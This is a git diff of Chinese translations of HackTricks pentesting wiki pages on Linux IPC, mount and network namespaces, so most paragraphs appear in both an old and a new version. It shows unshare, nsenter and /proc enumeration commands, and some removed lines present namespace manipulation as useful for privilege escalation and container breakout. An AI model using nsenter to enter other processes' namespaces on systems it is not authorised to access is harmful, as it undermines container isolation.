3. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或者使用带有 `CLONE_NEWIPC` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间关联的 IPC 对象。
|
||||
|
||||
## 实验:
|
||||
## 实验室:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### CLI
|
||||
#### 命令行界面
|
||||
```bash
|
||||
sudo unshare -i [--mount-proc] /bin/bash
|
||||
```
|
||||
通过挂载一个新的`/proc`文件系统,如果使用`--mount-proc`参数,您可以确保新的挂载命名空间具有与该命名空间特定的进程信息的准确和隔离的视图。
|
||||
通过挂载一个新的 `/proc` 文件系统实例,如果你使用参数 `--mount-proc`,你可以确保新的挂载命名空间有一个**准确且独立的特定于该命名空间的进程信息视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
如果您在没有使用`-f`的情况下运行上一行命令,您将会得到该错误。\
|
||||
该错误是由于新的命名空间中的PID 1进程退出引起的。
|
||||
如果你在没有 `-f` 的情况下运行前面的命令,你会遇到这个错误。\
|
||||
这个错误是由于在新命名空间中 PID 1 进程退出引起的。
|
||||
|
||||
在bash开始运行后,bash会fork出几个新的子进程来执行一些操作。如果您在unshare命令中没有使用`-f`,bash的PID将与当前的"unshare"进程相同。当前的"unshare"进程调用unshare系统调用,创建一个新的PID命名空间,但当前的"unshare"进程不在新的PID命名空间中。这是Linux内核的预期行为:进程A创建一个新的命名空间,进程A本身不会被放入新的命名空间中,只有进程A的子进程会被放入新的命名空间中。因此,当您运行:
|
||||
在 bash 开始运行后,bash 将分叉出几个新的子进程来做一些事情。如果你在没有 `-f` 的情况下运行 unshare,bash 将拥有与当前 "unshare" 进程相同的 pid。当前的 "unshare" 进程调用 unshare 系统调用,创建一个新的 pid 命名空间,但当前的 "unshare" 进程并不在新的 pid 命名空间中。这是 linux 内核的预期行为:进程 A 创建一个新的命名空间,进程 A 本身不会被放入新的命名空间,只有进程 A 的子进程会被放入新的命名空间。所以当你运行:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
unshare -f will fork a new process and make it the PID 1 of the new namespace. This way, the PID 1 process will not exit and the "Cannot allocate memory" error will be avoided.
|
||||
`unshare` 进程将执行 `/bin/bash`,而 `/bin/bash` 会分叉出几个子进程,bash 的第一个子进程将成为新命名空间的 PID 1,并且子进程在完成其任务后将退出。因此,新命名空间的 PID 1 退出。
|
||||
|
||||
PID 1 进程具有特殊功能:它应该成为所有孤儿进程的父进程。如果根命名空间中的 PID 1 进程退出,内核将会出现恐慌。如果子命名空间中的 PID 1 进程退出,Linux 内核将调用 `disable_pid_allocation` 函数,这将清除该命名空间中的 `PIDNS_HASH_ADDING` 标志。当 Linux 内核创建一个新进程时,内核将调用 `alloc_pid` 函数在命名空间中分配一个 PID,如果没有设置 `PIDNS_HASH_ADDING` 标志,`alloc_pid` 函数将返回一个 -ENOMEM 错误。这就是您收到“无法分配内存”错误的原因。
|
||||
|
||||
您可以通过使用 '-f' 选项来解决此问题:
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
如果你使用`-f`选项运行`unshare`命令,`unshare`将在创建新的pid命名空间后fork一个新进程。然后在新进程中运行`/bin/bash`。新进程将成为新pid命名空间的pid 1。然后bash将fork几个子进程来执行一些任务。由于bash本身是新pid命名空间的pid 1,它的子进程可以正常退出。
|
||||
如果您使用 '-f' 选项运行 unshare,unshare 将在创建新的 pid 命名空间后分叉一个新进程。并在新进程中运行 /bin/bash。新进程将成为新 pid 命名空间的 pid 1。然后 bash 也会分叉几个子进程来完成一些工作。由于 bash 本身是新 pid 命名空间的 pid 1,其子进程可以无问题地退出。
|
||||
|
||||
从[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)复制
|
||||
摘自 [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -57,59 +63,7 @@ unshare -fp /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查进程所在的命名空间
|
||||
|
||||
To check which namespace your process is in, you can use the following command:
|
||||
|
||||
要检查进程所在的命名空间,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
ls -l /proc/<PID>/ns/ipc
|
||||
```
|
||||
|
||||
Replace `<PID>` with the process ID of the target process. This command will display the inode number of the IPC namespace associated with the process.
|
||||
|
||||
将 `<PID>` 替换为目标进程的进程ID。该命令将显示与进程关联的IPC命名空间的inode号码。
|
||||
|
||||
###  View all IPC namespaces
|
||||
|
||||
###  查看所有IPC命名空间
|
||||
|
||||
To view all IPC namespaces on the system, you can use the following command:
|
||||
|
||||
要查看系统上的所有IPC命名空间,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
ls -l /proc/*/ns/ipc
|
||||
```
|
||||
|
||||
This command will display the inode numbers of all IPC namespaces present on the system.
|
||||
|
||||
该命令将显示系统上所有IPC命名空间的inode号码。
|
||||
|
||||
###  Switch to a different IPC namespace
|
||||
|
||||
###  切换到不同的IPC命名空间
|
||||
|
||||
To switch to a different IPC namespace, you can use the following command:
|
||||
|
||||
要切换到不同的IPC命名空间,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
nsenter -t <PID> -i
|
||||
```
|
||||
|
||||
Replace `<PID>` with the process ID of the target process. This command will enter the IPC namespace of the specified process.
|
||||
|
||||
将 `<PID>` 替换为目标进程的进程ID。该命令将进入指定进程的IPC命名空间。
|
||||
|
||||
###  Summary
|
||||
|
||||
###  总结
|
||||
|
||||
In this section, we learned how to check which namespace a process is in, view all IPC namespaces on the system, and switch to a different IPC namespace. Understanding and manipulating namespaces can be useful for privilege escalation and container breakout techniques.
|
||||
|
||||
在本节中,我们学习了如何检查进程所在的命名空间,查看系统上的所有IPC命名空间以及切换到不同的IPC命名空间。了解和操作命名空间对于特权升级和容器逃逸技术非常有用。
|
||||
### 检查您的进程在哪个命名空间中
|
||||
```bash
|
||||
ls -l /proc/self/ns/ipc
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
||||
|
@ -122,17 +76,15 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### 进入 IPC 命名空间内部
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### 进入 IPC 命名空间
|
||||
```bash
|
||||
nsenter -i TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,只有当您是root用户时,才能进入另一个进程的命名空间。而且,如果没有指向其他命名空间的描述符(例如`/proc/self/ns/net`),则无法进入其他命名空间。
|
||||
你只能**以 root 身份进入另一个进程的命名空间**。而且你**不能**在**没有指向它的描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/net`)。
|
||||
|
||||
### 创建IPC对象
|
||||
### 创建 IPC 对象
|
||||
```bash
|
||||
# Container
|
||||
sudo unshare -i /bin/bash
|
||||
|
@ -149,12 +101,14 @@ ipcs -m # Nothing is seen
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,57 +2,63 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
挂载命名空间是 Linux 内核的一个功能,它提供了一组进程所见的文件系统挂载点的隔离。每个挂载命名空间都有自己的文件系统挂载点,而**对一个命名空间中挂载点的更改不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以对文件系统层次结构有不同的视图。
|
||||
挂载命名空间是Linux内核功能,它为一组进程看到的文件系统挂载点提供隔离。每个挂载命名空间都有自己的文件系统挂载点集合,**一个命名空间中的挂载点变化不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以有不同的文件系统层次视图。
|
||||
|
||||
挂载命名空间在容器化中特别有用,每个容器应该有自己的文件系统和配置,与其他容器和主机系统隔离开来。
|
||||
挂载命名空间在容器化中特别有用,其中每个容器都应该有自己的文件系统和配置,与其他容器和宿主系统隔离。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 创建新的挂载命名空间时,它会使用**父命名空间的挂载点的副本进行初始化**。这意味着,在创建时,新的命名空间与其父命名空间共享相同的文件系统视图。然而,命名空间内的挂载点的任何后续更改都不会影响父命名空间或其他命名空间。
|
||||
2. 当进程在其命名空间内修改挂载点,例如挂载或卸载文件系统时,**更改仅在该命名空间内生效**,不会影响其他命名空间。这使得每个命名空间都可以拥有自己独立的文件系统层次结构。
|
||||
3. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或者使用带有 `CLONE_NEWNS` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新的命名空间或创建新的命名空间时,它将开始使用与该命名空间关联的挂载点。
|
||||
4. **文件描述符和 inode 在命名空间之间共享**,这意味着如果一个命名空间中的进程有一个指向文件的打开文件描述符,它可以将该文件描述符传递给另一个命名空间中的进程,**两个进程都可以访问同一个文件**。然而,由于挂载点的差异,两个命名空间中的文件路径可能不相同。
|
||||
1. 当创建一个新的挂载命名空间时,它会用**其父命名空间的挂载点的副本**进行初始化。这意味着,在创建时,新命名空间与其父命名空间共享相同的文件系统视图。然而,任何后续对命名空间内挂载点的更改都不会影响父命名空间或其他命名空间。
|
||||
2. 当进程在其命名空间内修改挂载点,例如挂载或卸载文件系统时,**变化仅限于该命名空间**,不会影响其他命名空间。这允许每个命名空间拥有自己独立的文件系统层次结构。
|
||||
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或者使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间关联的挂载点。
|
||||
4. **文件描述符和索引节点在命名空间之间共享**,这意味着如果一个命名空间中的进程打开了一个指向文件的文件描述符,它可以**传递该文件描述符**给另一个命名空间中的进程,**两个进程将访问同一个文件**。然而,由于挂载点的差异,文件的路径在两个命名空间中可能不同。
|
||||
|
||||
## 实验:
|
||||
## 实验室:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### CLI
|
||||
#### 命令行界面
|
||||
```bash
|
||||
sudo unshare -m [--mount-proc] /bin/bash
|
||||
```
|
||||
通过使用`--mount-proc`参数挂载一个新的`/proc`文件系统,您可以确保新的挂载命名空间具有与该命名空间特定的进程信息的准确且隔离的视图。
|
||||
通过挂载一个新的`/proc`文件系统实例,如果你使用参数`--mount-proc`,你可以确保新的挂载命名空间有一个**准确且独立的特定于该命名空间的进程信息视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
如果您在没有使用`-f`的情况下运行上一行代码,您将会得到该错误。\
|
||||
该错误是由于新的命名空间中的PID 1进程退出引起的。
|
||||
如果你在没有`-f`的情况下运行前面的命令,你会遇到这个错误。\
|
||||
这个错误是由于在新命名空间中PID 1进程退出引起的。
|
||||
|
||||
在bash开始运行后,bash会fork出几个新的子进程来执行一些操作。如果您在unshare命令中没有使用`-f`,bash的PID将与当前的"unshare"进程相同。当前的"unshare"进程调用unshare系统调用,创建一个新的PID命名空间,但当前的"unshare"进程不在新的PID命名空间中。这是Linux内核的预期行为:进程A创建一个新的命名空间,进程A本身不会被放入新的命名空间中,只有进程A的子进程会被放入新的命名空间中。因此,当您运行:
|
||||
在bash开始运行后,bash会fork出几个新的子进程来做一些事情。如果你在没有`-f`的情况下运行unshare,bash将会和当前的"unshare"进程有相同的pid。当前的"unshare"进程调用unshare系统调用,创建一个新的pid命名空间,但是当前的"unshare"进程并不在新的pid命名空间中。这是linux内核的预期行为:进程A创建一个新的命名空间,进程A本身不会被放入新的命名空间,只有进程A的子进程会被放入新的命名空间。所以当你运行:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
unshare -f will fork a new process instead of exec /bin/bash, so the PID 1 of the new namespace will not exit. This way, the PID 1 process will continue to function as the parent process for orphan processes, preventing the kernel panic and the "Cannot allocate memory" error.
|
||||
`unshare` 进程将执行 `/bin/bash`,而 `/bin/bash` 会分叉出几个子进程,bash 的第一个子进程将成为新命名空间的 PID 1,并且子进程在完成其任务后将退出。因此,新命名空间的 PID 1 退出。
|
||||
|
||||
PID 1 进程具有特殊功能:它应该成为所有孤儿进程的父进程。如果根命名空间中的 PID 1 进程退出,内核将会出现恐慌。如果子命名空间中的 PID 1 进程退出,linux 内核将调用 `disable_pid_allocation` 函数,该函数将清除该命名空间中的 `PIDNS_HASH_ADDING` 标志。当 linux 内核创建新进程时,内核将调用 `alloc_pid` 函数在命名空间中分配一个 PID,如果没有设置 `PIDNS_HASH_ADDING` 标志,`alloc_pid` 函数将返回一个 -ENOMEM 错误。这就是你得到“无法分配内存”错误的原因。
|
||||
|
||||
你可以通过使用 '-f' 选项来解决这个问题:
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
如果你使用`-f`选项运行`unshare`命令,`unshare`将在创建新的pid命名空间后fork一个新进程。然后在新进程中运行`/bin/bash`。新进程将成为新pid命名空间的pid 1。然后bash将fork几个子进程来执行一些任务。由于bash本身是新pid命名空间的pid 1,它的子进程可以正常退出。
|
||||
如果你使用 `-f` 选项运行 unshare,unshare 将在创建新的 pid 命名空间后分叉一个新进程。并在新进程中运行 /bin/bash。新进程将成为新 pid 命名空间的 pid 1。然后 bash 也会分叉几个子进程来完成一些工作。由于 bash 本身是新 pid 命名空间的 pid 1,它的子进程可以无问题地退出。
|
||||
|
||||
摘自[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
摘自 [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,19 +66,7 @@ unshare -fp /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查进程所在的命名空间
|
||||
|
||||
To check which namespace your process is in, you can use the following command:
|
||||
|
||||
要检查进程所在的命名空间,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
ls -l /proc/<PID>/ns/
|
||||
```
|
||||
|
||||
Replace `<PID>` with the process ID of the target process. This command will list the namespaces associated with the process.
|
||||
|
||||
将 `<PID>` 替换为目标进程的进程ID。该命令将列出与该进程关联的命名空间。
|
||||
### 检查您的进程在哪个命名空间中
|
||||
```bash
|
||||
ls -l /proc/self/ns/mnt
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
||||
|
@ -85,19 +79,17 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### 进入一个 Mount 命名空间
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### 进入挂载命名空间
|
||||
```bash
|
||||
nsenter -m TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,只有当您是root用户时,才能进入另一个进程的命名空间。而且,如果没有指向其他命名空间的描述符(例如`/proc/self/ns/mnt`),则无法进入其他命名空间。
|
||||
### 挂载某物
|
||||
|
||||
由于新的挂载点只能在命名空间内访问,因此命名空间可能包含只能从其中访问的敏感信息。
|
||||
此外,您只能**如果您是root,则进入另一个进程的命名空间**。而且您**不能**在没有指向它的描述符(如`/proc/self/ns/mnt`)的情况下**进入**其他命名空间。
|
||||
|
||||
### 挂载某个内容
|
||||
因为新的挂载只能在命名空间内访问,所以命名空间可能包含只能从中访问的敏感信息。
|
||||
```bash
|
||||
# Generate new mount ns
|
||||
unshare -m /bin/bash
|
||||
|
@ -113,12 +105,14 @@ ls /tmp/mount_ns_example/test # Doesn't exist
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,56 +2,64 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
网络命名空间是 Linux 内核的一个功能,它提供了网络栈的隔离,允许**每个网络命名空间拥有独立的网络配置**、接口、IP 地址、路由表和防火墙规则。这种隔离在各种场景中非常有用,比如容器化,其中每个容器应该有自己的网络配置,独立于其他容器和主机系统。
|
||||
网络命名空间是Linux内核的一个特性,它提供了网络堆栈的隔离,允许**每个网络命名空间拥有自己独立的网络配置**、接口、IP地址、路由表和防火墙规则。这种隔离在各种场景中都很有用,例如容器化,其中每个容器都应该有自己的网络配置,独立于其他容器和宿主系统。
|
||||
|
||||
### 工作原理:
|
||||
### 它是如何工作的:
|
||||
|
||||
1. 创建新的网络命名空间时,它会以**完全隔离的网络栈**开始,除了回环接口(lo)之外,**没有网络接口**。这意味着运行在新网络命名空间中的进程默认情况下无法与其他命名空间或主机系统中的进程通信。
|
||||
2. 可以创建和在网络命名空间之间移动**虚拟网络接口**,如 veth 对。这允许在命名空间之间或命名空间与主机系统之间建立网络连接。例如,veth 对的一端可以放置在容器的网络命名空间中,另一端可以连接到主机命名空间中的**桥接器**或另一个网络接口,为容器提供网络连接。
|
||||
3. 命名空间内的网络接口可以拥有它们自己的**IP 地址、路由表和防火墙规则**,独立于其他命名空间。这允许不同网络命名空间中的进程具有不同的网络配置,并且可以像在不同的网络系统上运行一样操作。
|
||||
4. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或者使用带有 `CLONE_NEWNET` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新的命名空间或创建新的命名空间时,它将开始使用与该命名空间关联的网络配置和接口。
|
||||
1. 当创建一个新的网络命名空间时,它会从一个**完全隔离的网络堆栈**开始,除了回环接口(lo)之外**没有网络接口**。这意味着在新的网络命名空间中运行的进程默认情况下无法与其他命名空间或宿主系统中的进程通信。
|
||||
2. 可以创建**虚拟网络接口**,如veth对,并在网络命名空间之间移动。这允许在命名空间之间或命名空间与宿主系统之间建立网络连接。例如,veth对的一端可以放置在容器的网络命名空间中,另一端可以连接到宿主命名空间中的**桥接**或另一个网络接口,为容器提供网络连接。
|
||||
3. 命名空间内的网络接口可以拥有自己的**IP地址、路由表和防火墙规则**,独立于其他命名空间。这允许不同网络命名空间中的进程拥有不同的网络配置,并且操作起来就像它们运行在独立的网络系统上一样。
|
||||
4. 进程可以使用`setns()`系统调用在命名空间之间移动,或者使用带有`CLONE_NEWNET`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间关联的网络配置和接口。
|
||||
|
||||
## 实验:
|
||||
## 实验室:
|
||||
|
||||
